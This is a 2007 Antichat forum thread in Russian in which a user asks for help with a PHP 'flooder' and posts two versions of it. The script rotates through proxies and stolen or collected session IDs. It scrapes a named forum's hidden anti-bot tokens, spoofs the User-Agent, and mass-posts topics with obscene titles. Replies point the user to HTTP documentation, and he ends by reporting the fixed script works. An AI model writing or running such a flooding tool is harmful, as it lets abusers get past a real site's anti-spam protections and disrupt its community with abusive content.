ANTICHAT

ANTICHAT (https://forum.antichat.io/index.php)
-   PHP (https://forum.antichat.io/forumdisplay.php?f=37)
-   -   Помогите с флудером. (https://forum.antichat.io/showthread.php?t=40331)

mr.The 19.05.2007 20:02

пытаюсь создать через проксик. сделал так.
Код:

<?
set_time_limit(0);
#/*UTF-8*/
function make_seed() {
    list($usec, $sec) = explode(' ', microtime());
    return (float) $sec + ((float) $usec * 100000);
}
srand(make_seed());#/*чтобы случайные числа генерировались заново*/

for($jj=1;$jj<14;$jj++){
///////
$fs=fopen("sid1.txt","r");
$sid=fgets($fs);
fclose($fs);
////////
//$sid = "h73qYO44";/**твое ид Авторизируйся и получи его**/
$indexForum  = $jj;/*ИД ФОРУМА*/
$Referer = "http://wapplanet.org/forum/?p=1&f=".$indexForum."&z=31364331&add=1&sid=".$sid."&w=htm";
$UserAgent ="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)";
$countOfMessages = 10; #число сообщенией(тем);

for($i = 0;$i < $countOfMessages;$i++){
srand(make_seed());
$randNum0 = rand(1,2000);
$randNum1 = rand(1,2000);
$randNum2 = rand(3000,4000);
$x = $randNum0/$randNum2;
$y = $randNum1/$randNum2;
$UserAgent = $x*$y;


$head = urldecode(urlencode("DezaPidor".$x));
$message = urldecode(urlencode("PizduiNahui!".$y));



##################################################  ###
/*
сначала методом гет гружу страницу с считываю скырыте поля
затем методом пост отправляю запрос=)на создание темы

при одинаковых именах темы для юзеров не множаться
а вот для админа(бота) да-------->бан
*/
$proxy = "165.228.128.10";
$port="3128";
$fp = fsockopen($proxy, $port);
$headers_s = "GET ".$Referer." HTTP/1.1\r\n";
$headers_s.= "Accept: */*\r\n";
$headers_s.= "Accept-Encoding: gzip, deflate\r\n";
#$headers_s.= "Referer: http://www.wapplanet.org\r\n";
$headers_s.= "Accept-Language: ru\r\n";
#$headers_s.= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers_s.= "User-Agent: ".$UserAgent."\r\n";
/*через два часа дошло...rnd$$$$ генерируется по юзер агенту поэтому нужно указывать его везде и один и тот же*/
$headers_s.= "Host: www.wapplanet.org\r\n" ;
#$headers_s.= "Cache-Control: no-cache\r\n";
$headers_s.= "Proxy-Connection: Close\n\n";
$headers_s.="\r\n";
//echo "<pre>";
//echo $headers_s ;
//echo "</pre>";
fputs($fp, $headers_s);

$getText ="";
while(!feof($fp))
    #echo HtmlSpecialChars(fgets($fp,1000));
$getText.=  fgets($fp,1000);
fclose($fp);

echo $getText.'</br>';
preg_match('/input type=hidden name=.rnd. value=.\d{7,}/',$getText,$rnd);
preg_match('/\d{7,}/',$rnd[0],$rnd);
echo $rnd[0]."<br/>";
preg_match('/snd\d{7,}/',$getText,$snd);
echo $snd[0]."<br/>";
##################################################  ##



$data = "http://wapplanet.org/forum/subject=$head&body=$message&p=1&f=$indexForum&t=0&a=&sm=&w=htm&sid=$sid&rnd=".$rnd[0]."&add=1&".$snd[0]."=%D0%94%D0%BE%D0%B1%D0%B0%D0%B2%D0%B8%D1%82%D1%8C";
$headers  = "POST /forum/ HTTP/1.1\r\n";
$headers .= "Accept: */*\r\n";
$headers .= "Referer: http://www.wapplanet.org\r\n";
$headers .= "Accept-Language: ru\r\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers .= "Accept-Encoding: gzip, deflate\r\n";
$headers .= "User-Agent: ".$UserAgent."\r\n";
$headers .= "Host: www.wapplanet.org\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n";
$headers .= "Proxy-Connection: Close\n\n";
$headers .= "Cache-Control: no-cache\r\n\r\n";
$headers .= $data;

//echo "<pre>";
//echo "###<br/>";
//echo "тема: ".urldecode($head)." Сообщение: ".urldecode($message)."</br>";
//echo $headers;
//echo "</pre>";
echo "f=".$jj." p=".$i."<br>";

#/*
$fpFlood = fsockopen($proxy, $port);
fputs($fpFlood, $headers);
$getText ="";
while(!feof($fpFlood))
    #echo HtmlSpecialChars(fgets($fp,1000));
$getText.=  fgets($fpFlood,1000);
fclose($fpFlood);

/**/

####################
//echo $getText.'</br>';
#/**/
#/*запускал с локального хоста Поэтому с кириллицей проблемы (в теме и сообщении) пока не сохранил в utf-8*/
};
}
?>

непашет. почему?

mr.The 20.05.2007 18:57

блин. шото ничё ничё не понял. подскажите где почитать про http протокол. и др
UPD: ужо нашел

mR_LiNK[deface_0nl 21.05.2007 05:23

Цитата:

Сообщение от mr.The
блин. шото ничё ничё не понял. подскажите где почитать про http протокол. и др
UPD: ужо нашел

_http://zeus.sai.msu.ru:7000/nets/semenov/4/45/http4561.shtml

mr.The 27.05.2007 14:31

наконецто дошли руки доделать скрипт. но выдаёт ошибку
Цитата:

Warning: fsockopen() expects parameter 2 to be long, string given in z:\home\xak\www\for\index.php on line 61
вот сам скрипт
PHP код:

<?
set_time_limit
(0);
#/*UTF-8*/
function make_seed() {
    list(
$usec, $sec) = explode(' ', microtime());
    return (float) 
$sec + ((float) $usec * 100000);
}
srand(make_seed());#/*чтобы случайные числа генерировались заново*/

$fp=fopen("proxies.txt","r");  //файл с проксями вида адрес:потр
$listp = fread($fp, 65000);
fclose($fp);
$proxa = explode("\n", $listp);
$counter=count($proxa);
for(
$j=0;$j<$counter;$j++){

$pp = explode(":", $proxa[$j]);
$proxy =urldecode( $pp[0]);
$port = urldecode($pp[1]);


$fs=fopen("sid.txt","r");
$lists = fread($fs, 65000);
fclose($fs);
$sida = explode("\n", $lists);
if (
$j>count($sida)){
    echo 
"<b>Sid закончились!</b>";
    exit;
};

$sid = $sida[$j];
$indexForum  = $j;
$Referer = "http://www.wapplanet.org/forum/?p=1&f=".$indexForum."&z=31364331&add=1&sid=".$sid."&w=htm";
$UserAgent ="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)";
$countOfMessages = 5; #число сообщенией(тем);

for($i = 0;$i < $countOfMessages;$i++){
srand(make_seed());
$randNum0 = rand(1,2000);
$randNum1 = rand(1,2000);
$randNum2 = rand(3000,4000);
$x = $randNum0/$randNum2;
$y = $randNum1/$randNum2;
$UserAgent = $x*$y;


$head = urldecode(urlencode("tema".$x));
$message = urldecode(urlencode("Post".$y));



$fp = fsockopen($proxy,$port);
$headers_s = "GET ".$Referer." HTTP/1.1\r\n";
$headers_s.= "Accept: /*\r\n";
$headers_s.= "Accept-Encoding: gzip, deflate\r\n";
$headers_s.= "Referer: http://www.wapplanet.org\r\n";
$headers_s.= "Accept-Language: ru\r\n";
#$headers_s.= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers_s.= "User-Agent: ".$UserAgent."\r\n";
//через два часа дошло...rnd$$$$ генерируется по юзер агенту поэтому нужно указывать его везде и один и тот же
$headers_s.= "Host: www.wapplanet.org\r\n" ;
#$headers_s.= "Cache-Control: no-cache\r\n";
$headers_s.= "Proxy-Connection: Close\n\n";
$headers_s.="\r\n";
echo 
"<pre>";
echo 
$headers_s ;
echo 
"</pre>";
fputs($fp, $headers_s);

$getText ="";
while(!
feof($fp))
    
#echo HtmlSpecialChars(fgets($fp,1000));
$getText.=  fgets($fp,1000);
fclose($fp);

echo 
$getText.'</br>';
preg_match('/input type=hidden name=.rnd. value=.\d{7,}/',$getText,$rnd);
preg_match('/\d{7,}/',$rnd[0],$rnd);
echo 
$rnd[0]."<br/>";
preg_match('/snd\d{7,}/',$getText,$snd);
echo 
$snd[0]."<br/>";
##################################################  ##



$data = "forum/?subject=$head&body=$message&p=1&f=$indexForum&t=0&a=&sm=&w=htm&sid=$sid&rnd=".$rnd[0]."&add=1&".$snd[0]."=%D0%94%D0%BE%D0%B1%D0%B0%D0%B2%D0%B8%D1%82%D1%8C";
$headers  = "POST http://www.wapplanet.org/".$data." HTTP/1.1\r\n";
$headers .= "Accept: */*\r\n";
$headers .= "Referer: http://www.wapplanet.org/ \r\n";
$headers .= "Accept-Language: ru\r\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers .= "Accept-Encoding: gzip, deflate\r\n";
$headers .= "User-Agent: ".$UserAgent."\r\n";
$headers .= "Host: www.wapplanet.org\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n";
$headers .= "Proxy-Connection: Close\n\n";
$headers .= "Cache-Control: no-cache\r\n";
$headers .= "\r\n";
$headers .= $data;

echo 
"<pre>";
echo 
"###<br/>";
echo 
"тема: ".urldecode($head)." Сообщение: ".urldecode($message)."</br>";
echo 
$headers;
echo 
"</pre>";
echo 
"f=".$jj." p=".$i."<br>";

#/*
$fpFlood = fsockopen($proxy, $port);
fputs($fpFlood, $headers);
$getText ="";
while(!
feof($fpFlood))
    
#echo HtmlSpecialChars(fgets($fp,1000));
$getText.=  fgets($fpFlood,1000);
fclose($fpFlood);

/**/

####################
echo $getText.'</br>';
#/**/
};
}
?>


mr.The 27.05.2007 16:02

Сенкс! помогло!

ЗЫ. плюс уже ставил)


Время: 18:14